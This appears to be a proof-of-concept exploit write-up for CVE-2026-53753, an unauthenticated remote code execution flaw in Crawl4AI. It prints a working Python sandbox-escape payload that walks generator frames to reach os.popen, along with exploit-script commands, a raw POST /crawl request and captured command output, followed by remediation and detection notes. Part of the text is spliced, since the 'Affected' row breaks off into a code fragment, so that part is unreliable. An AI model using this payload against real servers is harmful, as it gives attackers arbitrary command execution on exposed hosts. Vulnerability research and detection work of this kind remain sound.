Share
## https://sploitus.com/exploit?id=745E87EB-2F7B-5DE3-8689-0B856028F54D
# CVE-2026-53753 — Crawl4AI Unauthenticated Remote Code Execution (AST Sandbox Escape)

> Pre-authentication RCE in **Crawl4AI ` expression evaluator (`_safe_eval_expression`). A crafted
> `JsonCssExtractionStrategy` schema sent to the unauthenticated `POST /crawl`
> endpoint escapes the AST allow-list through Python frame objects and reaches
> the real `builtins`, yielding `__import__('os').popen().read()`.

| | |
|---|---|
| **CVE** | CVE-2026-53753 |
| **Advisory** | [GHSA-qxjp-w3pj-48m7](https://github.com/advisories/GHSA-qxjp-w3pj-48m7) |
| **Affected** | Crawl4AI `", "eval"),
            {"__builtins__": _SAFE_EVAL_BUILTINS}, local_vars)
```

Three gaps combine into a full escape:

1. Frame-walk attributes **`gi_frame`, `f_back`, `f_builtins`** do **not** start with `_`.
2. The builtins key **`__import__`** is reached by **dict subscript** (`['__import__']`),
   which is an `ast.Subscript` node — never inspected by the validator.
3. Walking a **running generator's** frame chain via `f_back` leaves the sandboxed
   `_SAFE_EVAL_BUILTINS` and reaches the **real** `builtins` of an outer frame.

## The payload

```python
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
           for i in [1])),
    list(g)
)[-1])()
```

* The generator `g` references **itself** (bound via `:=` inside a `lambda` so the
  closure cell exists). While `list(g)` drives it, `g.gi_frame` is the **live**
  running frame, so `.f_back` is populated.
* `f_back × 3`: running genexpr frame → sandboxed `eval` frame → `_safe_eval_expression`
  frame (which has the **real** builtins).
* `os.popen(cmd).read()` returns the command's stdout, which becomes the computed
  field value and is reflected **in-band** in the `/crawl` JSON response.

## Reproduce

```bash
# 1. Start the vulnerable server (official image, default = no auth)
docker compose -f lab/docker-compose.yml up -d     # or: docker run -d --network host unclecode/crawl4ai:0.8.6

# 2. Fire the exploit (in-band output)
python3 poc/exploit.py http://127.0.0.1:11235 -c "id; uname -a"

# inspect the raw request body without sending it:
python3 poc/exploit.py http://127.0.0.1:11235 -c "id" --print-payload
```

Observed response (`extracted_content`):

```json
[ { "out": ["uid=999(appuser) gid=999(appuser) groups=999(appuser)\nLinux ... x86_64 GNU/Linux\n"] } ]
```

The returned data is live OS state (`id`/`uname` output, uid **999 = container's
`appuser`**), not an echo of the request — confirming genuine code execution inside
the container.

## Raw HTTP request

```http
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://hi"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":""}]}}}}}}
```

## Impact

Any network-reachable client can execute arbitrary OS commands on the Crawl4AI host
with no authentication (default deployment). Full compromise of confidentiality,
integrity and availability of the server and any reachable internal resources.

## Remediation

* Upgrade to **Crawl4AI ≥ 0.8.7**, which removes `_safe_eval_expression` and disables
  the `expression` computed-field key entirely (use the `function` key with a vetted
  Python callable instead).
* Defence in depth: enable JWT (`jwt_enabled: true` + `api_token`), and never expose
  the Crawl4AI API directly to untrusted networks.

## Detection

Look for `POST /crawl` (or `/crawl/stream`) bodies containing
`gi_frame`, `f_back`, `f_builtins`, or a `computed` field with an `expression` key.

---

### Disclosure / credits

* PoC author: **Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original CVE/advisory reporter; this repository
  is an independent reproduction and PoC for defensive and educational use.
* **AI-assistance disclosure:** this PoC was developed with AI assistance (Claude),
  consistent with coordinated-disclosure policy for AI-assisted findings.
* For authorized security testing only.